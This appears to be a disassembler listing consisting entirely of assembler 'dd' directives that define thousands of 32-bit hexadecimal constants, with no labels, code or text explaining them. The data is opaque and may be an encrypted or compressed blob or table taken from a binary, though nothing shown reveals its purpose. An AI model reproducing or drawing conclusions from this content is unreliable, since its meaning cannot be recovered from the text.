		dd 0E7BFD17Fh, 79C24F9Bh, 1A8A7677h, 0D9D048Fh,	9817EB7Fh
		dd 0F450D5Dh, 0B1F5CBA9h, 2568FA16h, 0B5872C49h, 178FA6F0h
		dd 0A6EDA8C8h, 86DA8937h, 0B68D3E96h, 0D60C0570h, 0C1778E4Ch
		dd 0C2496018h, 323B82D8h, 5202A351h, 98551C0Ch,	7719B782h
		dd 54238B49h, 71798E94h, 0D95DDE0Ah, 0EB45A7D4h, 0E6F797ECh
		dd 1CAF8714h, 0B6B2F522h, 29BA752Ch, 0DFF6296Dh, 0CFFF3432h
		dd 28BDDAF0h, 0FF059E9Ch, 26082DC5h, 5E98B2F9h,	2A728CC3h
		dd 0F8A27C51h, 84E5BF99h, 0F2B8AAB6h, 0D35E11D5h, 0E885E022h
		dd 50A1E472h, 0AC29100Ch, 5EB518Ah, 378A8BEBh, 0D108893Dh
		dd 0FB7A753Dh, 1795D694h, 0A55A28A7h, 0B0DFE3E7h, 32A75BABh
		dd 0A7F2C0D0h, 0FEEC6DE0h, 110C10F8h, 88DD8CF0h, 32176EC3h
		dd 0E69EC889h, 0AB02F31Dh, 7810D2F3h, 0F4B6AB78h, 7A4A8E6Dh
		dd 0FD5A86B2h, 237BA47Ah, 2297367Fh, 5E7450FBh,	154496ADh
		dd 14ACD5A6h, 52B7457h,	0C70814CCh, 5B35285h, 8ADE2724h
		dd 248B186Ah, 0F58539Ah, 13A63202h, 0D27AA26Ch,	42E0E8D5h
		dd 187CD390h, 74778D69h, 7DB81858h, 0E22EB02Ch,	0EC745DFDh
		dd 0DBC3C34Fh, 59856E7Eh, 0F56601CAh, 0B562D51Fh, 0E20A00DDh
		dd 2867CE1Fh, 0D564FB33h, 2513552Fh, 305FC32Eh,	0EEAA5433h
		dd 8C4BD120h, 138FCF07h, 1A641906h, 3FE28AB2h, 7AB38C9Ah
		dd 0E256E616h, 373E64B9h, 0F2E62Bh, 66D50501h, 659C9A05h
		dd 6A400F83h, 53718173h, 0A3D45835h, 0D97CAAF8h, 5799D41Eh
		dd 77CF2C6Ch, 2141A786h, 614FB0CAh, 9A7D9FC4h, 0B7DBB0A5h
		dd 0B376B9BBh, 7E435728h, 50BB5DCFh, 9C1B7721h,	0BA317441h
		dd 3EBBAD14h, 0F75A4CBCh, 0DE686A95h, 0C2EB27B3h, 0DD4B7CCBh
		dd 0C9EBA110h, 6BA0B330h, 0C8AE51A2h, 0D3FC7525h, 7E0B65B7h
		dd 99AA4612h, 1866A5AEh, 0CA103C73h, 1B292421h,	0AE03A9FFh
		dd 57D82159h, 51E13F10h, 0F26023CDh, 8D942E8Eh,	4426CE98h
		dd 0D06A0D0h, 7B0DD2EEh, 0FC929D99h, 502BD041h,	0B3872E51h
		dd 0DBD9DC6Bh, 9AE169Ah, 0A0FA4397h, 0B65E28A7h, 79C86C1Ah
		dd 0BE4ADC2Ah, 6A687D8Dh, 954A9930h, 60AA6F0Fh,	0E6CA669Fh
		dd 0EE70EBB8h, 0E4CF7279h, 423BE14h, 5ADFE175h,	14B54356h
		dd 1BE83B52h, 758391Ch,	204C1F0Bh, 8828D2D7h, 0CCA70C31h
		dd 9B714DC0h, 0B13A1B73h, 6B6F63E1h, 299066CAh,	0B13A752Eh
		dd 160FE256h, 8BD1FC11h, 7B53E334h, 0AD568601h,	0DB7FA0E1h
		dd 8F0BA0AAh, 4200FD54h, 80A35CFFh, 736483A6h, 62D6D060h
		dd 0A7DBD400h, 7BBD0A4Eh, 9CC6F9EBh, 67B6AC6Bh,	5C4B63F5h
		dd 0A5F38915h, 47C26852h, 0B43F2F33h, 91279405h, 0FD2C2C11h
		dd 8AADA87Eh, 0DF1C1227h, 92406B1h, 879CC76Ch, 0B89B68B6h
		dd 0BB387DEBh, 0F0DEB0DBh, 0E1456F75h, 0E28BBE32h, 14876DFFh
		dd 5EC84FDAh, 24A2990Ch, 9A16A062h, 37FDB0ADh, 0E7F10D4Dh
		dd 0E4B3AFA1h, 17A255Eh, 4F797F07h, 12863A89h, 0AD8B4CC6h
		dd 977753BBh, 7A15C7A4h
		dd 8B2894EBh, 18741CC7h, 152FE573h, 0E272D07Bh,	60965CC8h
		dd 6E190792h, 1408346Ch, 0B8CDB916h, 0E47FE62h,	655287C4h
		dd 0C6E23FAh, 0B39E3E36h, 9AB2B40Eh, 0FB84235h,	8B67427Ah
		dd 1365E59Eh, 577FAA46h, 0CECE87E4h, 62AED9BEh,	9B325BC9h
		dd 0B2E4D794h, 34DF3ABh, 4E8C74AFh, 0F518C69Ch,	9B57122Fh
		dd 0ECABD78Bh, 0FC7F8F0Fh, 8D50D41h, 8B5FCF25h,	1FEFF151h
		dd 0C32A2CAFh, 34531856h, 0C081967h, 94B2BC19h,	560CE0Ah
		dd 2D8E5B2Dh, 0E4682ABBh, 0B8138DCEh, 81190522h, 0B0736E46h
		dd 514DCDE4h, 5858AE21h, 827D6805h, 0DEEFCD83h,	0B7720AC8h
		dd 0FB2AC75Dh, 0F571671Fh, 7F9B5CB8h, 977FF542h, 602A0D19h
		dd 149E1155h, 7F487CA1h, 0C1B8BD50h, 34ACCF4Bh,	0E9E2B2BDh
		dd 6DBA8EC0h, 1C65E1EEh, 0A6EAB3DBh, 0ACE486Fh,	0A38C9309h
		dd 5AEFD5D1h, 0CB5F5BB4h, 0CD7B2433h, 0CA81AB9Ah, 0CB71184Eh
		dd 8073EE8Fh, 0A91765EDh, 0EDD526CDh, 0B1867E97h, 98FA3F1Eh
		dd 0F1ACB405h, 92E89350h, 0F1AA56CBh, 0B095067Bh, 4B466768h
		dd 166AB079h, 379A9811h, 1C13F11Ch, 17C422Bh, 0FA820E87h
		dd 0C5CCACD7h, 2ED19EF2h, 3A6F1CDEh, 476F2071h,	87A8ECA9h
		dd 91C2E082h, 4149A78Dh, 97A89899h, 41B93DF6h, 9CA5D475h
		dd 96621B81h, 790F739Dh, 87D23BD3h, 63BFC377h, 0F1730E51h
		dd 35172F24h, 682A78FAh, 4258A4E7h, 0EA8EE1EDh,	19825CD0h
		dd 8B139B5Ch, 69CA94A7h, 0E68B6F8Fh, 47556D6Fh,	2B6EDAEAh
		dd 0E6E82DB4h, 0E6508627h, 0BAAEB646h, 0B40D9481h, 75A6DFD1h
		dd 0E5CBB6DFh, 8A304873h, 81FE04ABh, 0E33FC8DFh, 350C02CDh
		dd 2591F20Ah, 0C238721Ch, 0D0E7DB9Fh, 947EF95h,	43291FB0h
		dd 42C65FFh, 6CA5F3DBh,	0F7468305h, 5D8A494Eh, 69258697h
		dd 9A25B5Ch, 0E417611Dh, 2DE3572h, 49DC3046h, 0CD83702Fh
		dd 5D7E675h, 64159C2Ah,	0B75412B6h, 5E54348h, 0D01D38FCh
		dd 0EE8F4E0Bh, 7FC7F546h, 0AC02BED8h, 71B540CEh, 50D8C94h
		dd 0E7E024CBh, 0C901ED6h, 2ADEAB5h, 0B0492DC8h,	209AD017h
		dd 0F06DBB72h, 638ADBBBh, 7F7BF1F9h, 0C74A149Ah, 0CF187AFCh
		dd 953644A4h, 7C4B659Bh, 0DDA95B08h, 0FC28DEC8h, 0D2DCFFFEh
		dd 70232B93h, 8A3E808Eh, 0B5175BF1h, 0C4E58DB3h, 22B9CBF6h
		dd 175B1A86h, 4A406054h, 9556981Fh, 0DCF6E30Bh,	0B9EAC3DAh
		dd 657454EBh, 0B0D9BFDh, 59EBFB85h, 20BC3803h, 55B10D6Ch
		dd 5C3DFE93h, 6584F0B3h, 69FF9A0Fh, 2DDB313h, 0B9BF12AAh
		dd 0AD0DCC87h, 83FD5947h, 5EB3B39Eh, 0EBA00C6Ch, 9212D01Ch
		dd 152D40ADh, 0F54E4B9Ch, 9C0D9131h, 0D78792C7h, 0DAFB2619h
		dd 88109E42h, 9308B01Bh, 49E2EA32h, 7F6DCE88h, 96D4CEBEh
		dd 0DC22E3E0h, 90108B9Eh, 500A1FC3h, 0CA5CA5D9h, 0C77B9BC8h
		dd 94137CD3h, 2525FCh, 7E15C989h, 131CE607h, 31D2A856h
		dd 83BF88E5h, 7BA1274h,	3C1D354Dh, 0C35DFAAFh, 119A7034h
		dd 0BFB5B34h, 5237C7CDh, 0F50C328Dh, 56871D2Ch,	99CE6C6Ch
		dd 0DB7EED9Eh, 4C35CEEFh, 0A21B7357h, 4857F431h, 8AD995E0h
		dd 4B5114C6h, 0C7EF5264h, 0BDA2B343h, 466ACCACh, 0E1B9C417h
		dd 0FC3146DEh, 540C7D2Ah, 3C9A3272h, 78DFA430h,	1E506181h
		dd 308B16D9h, 2C9AC98Fh, 3B285B51h, 0D4915B1Fh,	0C5D606CFh
		dd 16658334h, 0FD8ADFCEh, 9D5A82E2h, 0B2CDB899h, 0B9606D86h
		dd 85B3FAD6h, 2F98AF7Dh, 0C7744EB9h, 0B7A527F9h, 0F3803153h
		dd 332E3C30h, 0D66CA32Bh, 58F8D914h, 0A2DD7ED1h, 7CD09DFBh
		dd 8160687Ch, 0DE1B85EEh, 6282A25Ah, 2E734560h,	0ED26C2FAh
		dd 2ED66DF5h, 0BE4A28D9h, 8B2DB16Dh, 0BBF278CEh, 0B443BD42h
		dd 19218B65h, 5169C423h, 4C9DB126h, 3B38605Ch, 7D7E66ACh
		dd 35D50C56h, 50C9CFA2h, 0C2440142h, 0F197596Ah, 1B15DD99h
		dd 63174E35h, 77536FEBh, 0C6758F9Ch, 1C8229EDh,	35703DBDh
		dd 721EBEFCh, 0D2D6B947h, 5EBF9B84h, 4E9C56CFh,	6B4D1DEh
		dd 2ED127CDh, 92427704h, 0BB8ED4D6h, 0B0C7E0AEh, 85045661h
		dd 0E76A3EDAh, 4AD2E484h, 7746027Dh, 0AE197E2Fh, 783D6259h
		dd 21D3A4B2h, 0C54C96DBh, 0C316087Fh, 2165B246h, 81194F67h
		dd 1B5D0B2Ch, 8A55B236h, 43D194B6h, 0D47591CCh,	87643F59h
		dd 0E8284874h, 0E1DBDFAAh, 3A453488h, 0CF9EDAA8h, 3B083001h
		dd 0CCDB15C0h, 0CADDCCF0h, 76C331FCh, 490ED17Ch, 0F54EDF0Fh
		dd 3ECBCA02h, 0ECEE7F00h, 9263D41Fh, 4D1C6ADBh,	0B37278D2h
		dd 258D021Bh, 197D2F7Dh, 3D241973h, 7AC0FEE5h, 3A9A2B8Dh
		dd 8831E48h, 251D9F1Ch,	0B867E56Ch, 57F837F9h, 967BAE7Eh
		dd 0A1802DE0h, 5F88EAA7h, 0B59D84ACh, 343D1A5h,	7C75343Ch
		dd 0B03CA3DFh, 0C37F999Dh, 1056D3E7h, 16244812h, 0B28CE2FAh
		dd 5A9CB94h, 250776A7h,	93FBC07Dh, 0F33A6EF9h, 10B3206Dh
		dd 7CDB6D46h, 0F8C8F7BFh, 7FD56875h, 0AA8A1277h, 4D38B643h
		dd 0BDAFB1AFh, 24345F24h, 1EDC6854h, 0AE621723h, 686D50Ah
		dd 8C0DCC75h, 6B67E03Ch, 0A8F4872Dh, 0C8297373h, 0DB364C1Bh
		dd 0C6729E54h, 4B6E7557h, 0DA3DBC5Dh, 0DB93464Ch, 0B3B13C63h
		dd 5C6F5DAh, 0FAF97108h, 0CB5418C2h, 0B2901515h, 0D00BA667h
		dd 8F304BFAh, 0C65143F8h, 0F884F704h, 0A9BB11F9h, 21CF86F1h
		dd 269FFC92h, 2D06BCACh, 5A03326h, 2C7D4C13h, 0E0722B6Bh
		dd 0B83D4A4Bh, 2ED68906h, 3D54DF1Fh, 0F274CBF8h, 0BAC42EE8h
		dd 0A618AD3Dh, 0F9CE7CC2h, 1701424Fh, 0EBE771BDh, 0DAF49968h
		dd 84169612h, 3F7B96F9h, 3D04C2B0h, 12307E6Ch, 0AA5117EAh
		dd 0C104E94Dh, 0B487B7FCh, 188E6D5Ah, 6FAE58DDh, 0CDD4E69Bh
		dd 99538A1Eh, 0A034A860h, 3BBF31F2h, 63995336h,	0DB6FDF7Fh
		dd 50D5E9D7h, 80E445C0h, 35E7DBB6h, 7FE26857h, 5CD4C1F4h
		dd 0D39ED8D4h, 6F4F0C62h, 9AFD3F38h, 79D22BA5h,	2DE7AC1Dh
		dd 0B9B30630h, 6A857EF6h, 0AD251229h, 6E4493E5h, 40A4F660h
		dd 0E0BDDB91h, 20BF349h, 691832B4h, 0A814B533h,	0C2CC068Ah
		dd 0E6A2E49Eh, 52C6EB3Ah, 163B9A45h, 0C6325D27h, 21B7553h
		dd 0F960F57Ah, 0E33AA0B4h, 0F7721105h, 10B67A91h, 8F9ED9C9h
		dd 2503EEECh, 0A8BD78F1h, 40232937h, 1388B325h,	7B1FD2A1h
		dd 9CAAB8B5h, 75F3C7D7h, 927DC72Ah, 58761F00h, 0E3BA0796h
		dd 184EA183h, 0B80A8EF5h, 7A7FA5A5h, 77A87238h,	7CD72127h
		dd 1A2C79Dh, 0D16FFFD8h, 7299D95Ch, 64C73A16h, 0F8A0B9DEh
		dd 0D7B21406h, 0FB38B767h, 0A1526E7Ah, 208B33DAh, 232753C8h
		dd 5B368910h, 0CBDB0672h, 5CE9BCC6h, 5B969ABBh,	0D4E5720Fh
		dd 20EA8AFDh, 6823AAEh,	6D37DF5Fh, 76596E8Dh, 0A56ED9B1h
		dd 0F5FAE73Ah, 0D2140952h, 695158B6h, 0F0F58434h, 5E16A7DCh
		dd 0A1520A7Eh, 5258EDA5h, 47D7DEABh, 96BE1E06h,	0AC3A531Dh
		dd 0A9773918h, 3D47A268h, 0E5295C9Ah, 707FC957h, 6D162304h
		dd 0C9374B6Eh, 3D0249EBh, 8DD8F196h, 9555DDA4h,	27F5B457h
		dd 2FDDC621h, 39F38FFDh, 0B73D4028h, 47BD00AAh,	0CA3C419h
		dd 0C8AE11F3h, 0C8DFAA6Ah, 0BEAE7B89h, 280A99D6h, 0AA72CF4Bh
		dd 0AFCACD88h, 0DC110D80h, 0CDADAD0Ch, 495B0B0Dh, 70E3ED02h
		dd 8DC54B2Eh, 0BEAA522Eh, 0A8C7A40Ah, 628DD086h, 0E8BFE887h
		dd 0B53F963h, 0A360186Bh, 52FDDC64h, 0B1E39352h, 0ED36299Ch
		dd 0C233D3F6h, 6DB65894h, 0DE639275h, 0E44D05D2h, 126FE718h
		dd 0FDF6DCB3h, 82E0445Dh
		dd 0A42CCAEDh, 0F46F518h, 8883D409h, 0F8C06BFCh, 27170C29h
		dd 9B416CFAh, 0CF729C57h, 6DC5BD4Eh, 97E74642h,	598E4835h
		dd 0F9C1551Bh, 0C5A7D16Ch, 0AE218856h, 29804C3Ah, 50099B47h
		dd 0B7A2245h, 0F71698E0h, 31E61D8Eh, 0D621329Fh, 55644DFBh
		dd 2BCF0F9h, 2EE30A2Eh,	9D0D8832h, 24C59F3Ch, 2ACB9BD6h
		dd 9EA97962h, 0CD4840D2h, 3BB516FBh, 5B36B6BEh,	0E9E0C2ADh
		dd 0E5E97479h, 6CFBBAC3h, 0EED83062h, 5CD437D5h, 0D92B523Bh
		dd 57B74913h, 0D38A4C09h, 12A95AC9h, 0BBDAEC8Bh, 0E6861231h
		dd 0A35C8799h, 9ADE554Bh, 52B2350Eh, 0BA702ADAh, 0CACC26EEh
		dd 5AD0CB26h, 0F7B3F660h, 0F0C592D2h, 0E0ED4DE7h, 5A9F2101h
		dd 0BF4B2A80h, 7C890813h, 24585908h, 30482A76h,	0E3F6043Bh
		dd 0DB9AF7ECh, 8A8D964Fh, 0D7A70E1Fh, 0ED346259h, 5266A56Fh
		dd 0CCD4F2CCh, 0C04F54C0h, 0C61460B1h, 0FA3EF7B8h, 30E5650h
		dd 0C0622562h, 0DDF7480Bh, 9603277Ah, 0AC8271ACh, 0EC89F428h
		dd 568696C9h, 0A998A69h, 7D7E9F72h, 80BC9214h, 576704ABh
		dd 0BB06142Bh, 0EC3153FFh, 0A764A31Fh, 739D3794h, 0F3803460h
		dd 0BEC69DB0h, 5CB24C76h, 1B82DDE3h, 0B0282746h, 771BC179h
		dd 513C1FC8h, 0EF1809FDh, 0B7626715h, 671B076Ah, 0AEAF6887h
		dd 0C70460DAh, 8055BFADh, 414A119Bh, 8826C474h,	0B7878334h
		dd 47072311h, 0A7D77999h, 6171AA99h, 48D6D6D4h,	0F7392B64h
		dd 1F21EAh, 4E67703h, 0AECDF27Dh, 8E31825Bh, 0FCC86FC9h
		dd 706CE053h, 0B9B17CE1h, 8C1FE4AAh, 31780F86h,	0AD27EF57h
		dd 0F6A43E71h, 67897206h, 0E9EDA465h, 0B47AF4F6h, 0DD4C9AB6h
		dd 0C35F547h, 8B75363Ch, 0C88F85AEh, 7F0799Ah, 3F35EC1Ah
		dd 4197A3h, 0B3E10C5Ah,	51F6F9CCh, 290D2F3h, 51F94980h
		dd 34FDACA3h, 0BAC7F0AFh, 3A29726Ch, 5816C912h,	8B9C3BCEh
		dd 0F3B65329h, 31A90FABh, 9156A9BAh, 96C0BB59h,	0A04059D6h
		dd 5D2C9638h, 7BC5B15h,	0ABC419F5h, 0B8E2244Dh,	73A2DA87h
		dd 5D990552h, 0A479BD0Ah, 5CD2FC6Ch, 0FEF7199Dh, 49CEA359h
		dd 5206FC80h, 968C3E4Bh, 0EB2CD772h, 577F5688h,	0DECEFE5h
		dd 0E274564Ch, 0C55414E0h, 95192264h, 999C94C6h, 6A3AE429h
		dd 6DCE8327h, 85682445h, 5CF02EB6h, 0AA68482Eh,	0A122574Bh
		dd 22FF9212h, 1734FF5Ch, 0C83BC5CBh, 7692D438h,	0D5197E97h
		dd 0ECDFE5B3h, 4815C856h, 0E24D40D4h, 2A009803h, 0E2B9B7CBh
		dd 1867A1F4h, 0D0F621DBh, 8F30A098h, 0C89639EFh, 0DA2C7CCBh
		dd 0F9A694C5h, 0F9BC3EDDh, 4ECF6519h, 0DD9C4BB4h, 47A3B935h
		dd 563980E7h, 0EABD1112h, 0F3AD81DFh, 0A3FBE6B6h, 2C35BC23h
		dd 3E5FC05Dh, 88EB1B18h, 0FB976367h, 0FF4366DFh, 9D50CE75h
		dd 65634571h, 0CD9C410Bh, 859A7BE3h, 0B0FA024Dh, 0E0315582h
		dd 6BE62FC8h, 0DCF474E0h, 85607595h, 0BC4A9FAh,	90E9838Eh
		dd 0FA210D29h, 594828BCh, 5B09B8A3h, 83DB062Fh,	59699D43h
		dd 41BE6E32h, 903A4A11h, 0B3B7026h, 0FC745671h,	80E4C431h
		dd 0F54C0487h, 43765306h, 0D8F0E4E3h, 4F079DD9h, 2BF5CECDh
		dd 0DF1202C7h, 0D6FF18A7h, 0F6AFDDB7h, 6F7B1089h, 0C91ADFA4h
		dd 7F4B7FF1h, 44206FF3h, 55A66BC6h, 5FFE3875h, 2012448Eh
		dd 6344F0A8h, 198B16BAh, 49A6E7F5h, 71881BCBh, 4B7E6D94h
		dd 99BB8B1Ch, 0D73EA99Ch, 0A60712BDh, 656BE4CCh, 0B84128F8h
		dd 0FFA14E4Ah, 1A13D7C5h, 89C0DDDEh, 14EE3D6Fh,	0EC3E324h
		dd 0D27B84EAh, 8D8851h,	46BF5714h, 6B9273h, 0C27A4EA4h
		dd 0F81665C1h, 0B7D07346h, 50755C40h, 5D544130h, 3EF7AEEAh
		dd 6A5895A0h, 9D204C4Eh, 355C644Ch, 0CE68FC4Bh,	3DCCF7C9h
		dd 0C8124927h, 3093F87Dh, 0E40AB261h, 6DF619A7h, 2CAD91BCh
		dd 0E7D0FD6Eh, 751C8492h, 0F7FC0284h, 483C160Bh, 1E1835F7h
		dd 1A432C6Bh, 0FCBFC6BFh, 0B1F8193Bh, 0AF9A1171h, 0CD535CBh
		dd 39B6C317h, 0DD64C7C8h, 107EF278h, 0F020A17Fh, 56BFC181h
		dd 0F43CC815h, 0F61D1CADh, 0EF32694Bh, 8C670222h, 0EDDE3D0Dh
		dd 494D174h, 0E149A487h, 5588E4Bh, 0FAD2A58Ch, 0A0D69ACEh
		dd 3971A2BFh, 2463285Ah, 0CAA6E8DAh, 0D3E1A6EEh, 0E949A242h
		dd 0FEA350F0h, 0EFE946D7h, 1400BB24h, 0C86CB08Eh, 90803385h
		dd 13CEAED6h, 0BD21F410h, 36354484h, 223EF77Ch,	0E8E53B94h
		dd 863F2D27h, 86839D90h, 0C22DAFB7h, 0EF793EB1h, 0D277A427h
		dd 98ACDCA9h, 8B69477h,	58B88826h, 0EB9AD5E3h, 28E45932h
		dd 3C5D1D29h, 0E1F49861h, 85BA1206h, 26C3B5E9h,	0A5C010DCh
		dd 57FC158h, 47205B8Fh,	0D135CD06h, 0B24A95BAh,	354A2E2Dh
		dd 0FE27F22Ch, 8CEBE5B6h, 0BF51393Bh, 95A088B2h, 453508A5h
		dd 6B8FEA7Ah, 465A8921h, 15C20A61h, 99C78BD4h, 9D9AB872h
		dd 91B0D62Fh, 7255A819h, 0B48D0968h, 1E369CF9h,	9AD4ABF6h
		dd 634814A2h, 0A4D88B7Ch, 0C38264DBh, 0CC0A02B7h, 5345C976h
		dd 26E46837h, 0EA4A7F66h, 0E7292982h, 5511FA39h, 732B7996h
		dd 69CB7329h, 654C5B7Eh, 0C08CA54Bh, 13220A6Eh,	0E137D270h
		dd 0BB038600h, 9B238C96h, 7DE09B71h, 1EE9487Ch,	8E426636h
		dd 0D7FF08FBh, 0B3C16FE8h, 510A73B4h, 331F0503h, 28CC901Bh
		dd 0C4AF2531h, 65D612EEh, 0B3E456EEh, 4BD5E12Dh, 96CDDD9Ch
		dd 466C885Ah, 88A4CF92h, 21FFE98h, 29C2BEF3h, 0BCBB3228h
		dd 5F20D3ADh, 0AC99F885h, 27CC517Eh, 0D91CEEE3h, 0A711C88Dh
		dd 0D475FA8h, 6C3AA89h,	2DC18105h, 0B9A63192h, 2CD40BDBh
		dd 1BF7CEC3h, 0C115EEA4h, 7E4CC9B2h, 0A5E88D26h, 0BFD267F4h
		dd 0D534DD6Eh, 4E2E2FFAh, 0BA4D316Fh, 18EB4C3Bh, 8CF62BB3h
		dd 76EA2DC2h, 0A527ED45h, 3CD9F376h, 4CB3E78Bh,	366F063Fh
		dd 5096C724h, 0B9CB2679h, 0E572C5D0h, 0DB622E99h, 7063331h
		dd 0C992D9F8h, 0A3D1B7A1h, 4E378A1h, 0D088643h,	9EDAC20Bh
		dd 30133626h, 91B15A2Eh, 9F7CACCCh, 17780D20h, 446F6266h
		dd 54FC83A6h, 0AD05FDCh, 1E51C2D7h, 0B2CE94F4h,	3FCFA3EFh
		dd 7B64EF59h, 10850A80h, 779A16B5h, 0A61FFA60h,	0BDE5B8F4h
		dd 4BFD7853h, 0B3C1A4D7h, 53D13C1Ch, 0A45E78D1h, 4C6DCFBAh
		dd 0D8C7B3F1h, 3A11B51Eh, 27C6D4CDh, 7A798C53h,	14CA9ACBh
		dd 82B71B03h, 0FB0D4F4Ah, 0EAFE7697h, 0E3B0E483h, 0E0AA94FDh
		dd 37D6F52Eh, 88849327h, 8BB1BCAh, 0AACAAFAh, 0D0741CBDh
		dd 1789E332h, 3C129B4Eh, 1CB9B06Dh, 29032B0Dh, 0B3F3A2CEh
		dd 67A58843h, 0E436D651h, 4E073C4Dh, 60258D4Fh,	0CF7EA696h
		dd 758829F9h, 125BBF31h, 4CEA26D2h, 8792D6AFh, 80E24013h
		dd 9301D9CDh, 5A136C5Ah, 0B52B4C23h, 93B24BD1h,	8B18BA96h
		dd 0B02A4065h, 1CE1AEF0h, 7F564C91h, 24B3DE00h,	44B3DF14h
		dd 1F56F3DAh, 8BDDA7C4h, 0F1EDE88Fh, 0E51A1F5Ah, 0D64DA515h
		dd 417A1442h, 0DE52652Dh, 537D2DF2h, 0BE4E97AAh, 1885D2C4h
		dd 0A511DAF9h, 6A9AB6FEh, 0D5493A3h, 76DA988Ch,	0CCC42E07h
		dd 99BCB3E4h, 0CFB059D1h, 0DE8E7EE8h, 4BDC66B0h, 0C41DB91Eh
		dd 145814DAh, 0A2334BDBh, 3C07EBEEh, 8EEA635Dh,	3740F13Ch
		dd 0BD6193BBh, 936EC8E1h, 38F184C8h, 9A8BC646h,	0FDF1C601h
		dd 54097A1Ah, 0B1A22F0Dh, 2AEF4E44h, 759C25D5h,	0E38BC043h
		dd 966C4C4Ah, 4F8124D1h, 45569AF3h, 24AD381Ch, 3302522Fh
		dd 0C691FA54h, 86AB1D1Dh, 23EA7C1Eh, 0BA143F3h,	0CA0F319Eh
		dd 34368F2Ch, 373014DFh
		dd 0CEF4E096h, 0C5558FA5h, 66460A90h, 0E160AF5Fh, 0C8FB6CDAh
		dd 8B1590Fh, 67378AC0h,	0BC6A8AE4h, 83DF991h, 62A1F64Dh
		dd 0DD9E9379h, 59DCF9F9h, 0E3468342h, 601121F4h, 47A9EA07h
		dd 0DA683CDAh, 354996F1h, 4C006474h, 310FA61Eh,	8E6DC8C7h
		dd 8ACC8EF0h, 1E16EF06h, 396BFD8Dh, 0BE1D3E83h,	0AFF8BDE1h
		dd 9408B937h, 0C27EF5E1h, 209929A1h, 0F61FC8FEh, 13033B09h
		dd 0FBCD9759h, 809877C1h, 3F8BF172h, 9A1D4184h,	215E9A9Ah
		dd 6471D35h, 4BBF67C1h,	7F78C018h, 780B0E9Fh, 0D357B161h
		dd 0C3A67D62h, 79C077A1h, 533FDCF1h, 83FE90DBh,	0A16443E1h
		dd 64170C35h, 6F33F8F5h, 0D86E9FA5h, 222132E6h,	3E6F351Dh
		dd 0AC070BFDh, 80B8A750h, 0A0688694h, 0C7F1EA55h, 405821E3h
		dd 0D02EB488h, 4D538F96h, 8CA278C4h, 97171B6Fh,	182C4998h
		dd 0FE0BBF20h, 9F74A8DBh, 16A8B265h, 494B9937h,	548D638Ah
		dd 0FCA5FFD1h, 7D90C8FAh, 0E22C092Ah, 45E473EAh, 8D1BBD39h
		dd 4BEEF719h, 0AF71DACEh, 1B817917h, 2872293Ah,	466387AEh
		dd 365B67D7h, 3D1251B6h, 1DE901F6h, 5DC38746h, 0EAC54A95h
		dd 3ACEE46Ch, 0CCCA6EC2h, 0DF744A1Fh, 68079207h, 76083C18h
		dd 354F79C9h, 0E2FDF537h, 0D155F6ABh, 753A9EE9h, 0A81E7D16h
		dd 0E4E6EF3Dh, 496F6A80h, 1AF7E23Ah, 34F90E81h,	0A9731F66h
		dd 15A4EE09h, 0EAAAD318h, 3250BA38h, 0BB5BA5A3h, 0E1960F0Ch
		dd 2B4A1F04h, 22FF67E2h, 0ECE3E332h, 5DE104F6h,	0F3B39510h
		dd 77CB3D9Ch, 5AC2CEADh, 6E1D09D9h, 0B7F3F23Ah,	0C598110h
		dd 3FBEF84Bh, 0E4482DB7h, 0DF0BF9E8h, 8CE03D6h,	3D04EC51h
		dd 0E087A386h, 0A392ECE6h, 578931F5h, 0D91E9AC0h, 0E5D5DE38h
		dd 0D3B3D796h, 22EA5C88h, 42C30EE2h, 60034B93h,	50D56F7Dh
		dd 3FAE6000h, 0DC9BECEBh, 59A5A12Ch, 306582E1h,	9AAE031Dh
		dd 0A35250D8h, 625CC98Ah, 0AE16DC20h, 193C4C16h, 151A120Dh
		dd 0EC672FF1h, 0ACDB2B04h, 5556B1DDh, 0C9154796h, 0ADACDDF1h
		dd 0D824753h, 0CAB8F79Eh, 52F307ABh, 0B635F415h, 0CD6D85F2h
		dd 741C0C53h, 204B84DCh, 25212B81h, 19964F34h, 902DCFBBh
		dd 0FB573F48h, 5F94C43Dh, 2C967C68h, 72C9119Eh,	0EF7DFDCFh
		dd 0BA72535Ah, 9EA503C3h, 375402AFh, 52D5D4D1h,	121BED0Fh
		dd 0A97A3EB1h, 0B9DE0F77h, 5EE7E9C3h, 2559291Ah, 13990D97h
		dd 66DD3A9Dh, 104721ACh, 0D510242Fh, 0CE816740h, 25F195AEh
		dd 0EC10DD2Dh, 0F1BE168Bh, 51EB2CFFh, 85390568h, 0F8956834h
		dd 9B5BD603h, 4D83F5D3h, 28E9BF25h, 0F571DE13h,	31E78FB7h
		dd 1F18DCEBh, 0C2F8110Fh, 0C980D424h, 0E7DB471Bh, 0A2C0CBC6h
		dd 0F4F2586Eh, 0D53CA6C2h, 46C2A12h, 0E4CD894Dh, 364871EAh
		dd 0F44BE182h, 0B465BDD8h, 8B55933Ch, 0FFF8E5F6h, 4DAFD540h
		dd 81A5BCA5h, 0A5020D59h, 0E58EDEAFh, 4E59201Ch, 1C6FBCD2h
		dd 25F470A8h, 3EC01573h, 33FD135h, 6D8C5838h, 2DAC1318h
		dd 96FF2D3Dh, 0C69E93ADh, 0A334D969h, 0E8EB0EBEh, 0FFEC5935h
		dd 0F07705BCh, 620B9FD7h, 60B04438h, 5B5AFB8h, 0F718DEABh
		dd 3C71F9D9h, 81904FDBh, 12AB0349h, 0F39811FBh,	0EA826244h
		dd 0D12DF6DFh, 10327AD9h, 0BDC6C90Bh, 3708049Bh, 0DA1F10A1h
		dd 0DD07943Eh, 0D14D264Ch, 0F7BC9B33h, 0B08F3B72h, 0F2F8C9F3h
		dd 0C2E79C17h, 3ACB9812h, 59991BFEh, 3F7BF90Ah,	0D34067C2h
		dd 27BE8164h, 6F716F93h, 2BEB2637h, 3C6D65F5h, 3D1CBD2Ch
		dd 3628B9ADh, 4C733467h, 6C5E900Bh, 1890107Ch, 8C5E6036h
		dd 9B3DF6AEh, 5DF8AC98h, 2C7FE1EBh, 0F16FC0AFh,	3E1F1BF3h
		dd 6460E02Bh, 749F2EBBh, 0F8213246h, 44469728h,	44E9B3A1h
		dd 71ED3B1Ah, 0A3F69C41h, 6CF20947h, 1CCCBD94h,	6B4A486Dh
		dd 80A9A49Ch, 3EDCF7F2h, 0D7BE6E16h, 225D849Ah,	8D43B5B3h
		dd 2924A1C0h, 0D6F7B81Ch, 0D062053Fh, 17EFE41Fh, 4D2EA65Dh
		dd 0EC6758BBh, 81C3B17Dh, 0A9F5A042h, 481BDA12h, 429B43FEh
